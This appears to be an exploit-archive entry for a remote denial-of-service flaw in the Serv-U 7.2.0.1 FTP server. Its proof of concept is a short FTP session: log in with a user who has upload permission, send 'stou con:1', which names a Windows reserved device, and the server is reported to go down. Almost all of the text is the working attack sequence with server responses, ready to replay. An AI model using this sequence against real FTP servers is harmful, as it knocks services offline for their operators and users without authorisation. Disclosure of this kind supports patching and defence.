Serv-U version 7.2.0.1 suffers from a remote denial of service vulnerability.
fd018bc2b0de9c357b20598278f54fb94e9d84b8ef3c5c862ad4b92c05aefcf3
#Serv-U 7.2.0.1 ftp server DoS
#user must have upload permissions
#
#(x) dmnt 2008-10-01
220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
stou con:1
quit
221 Goodbye, closing session.
# now server DoS'ed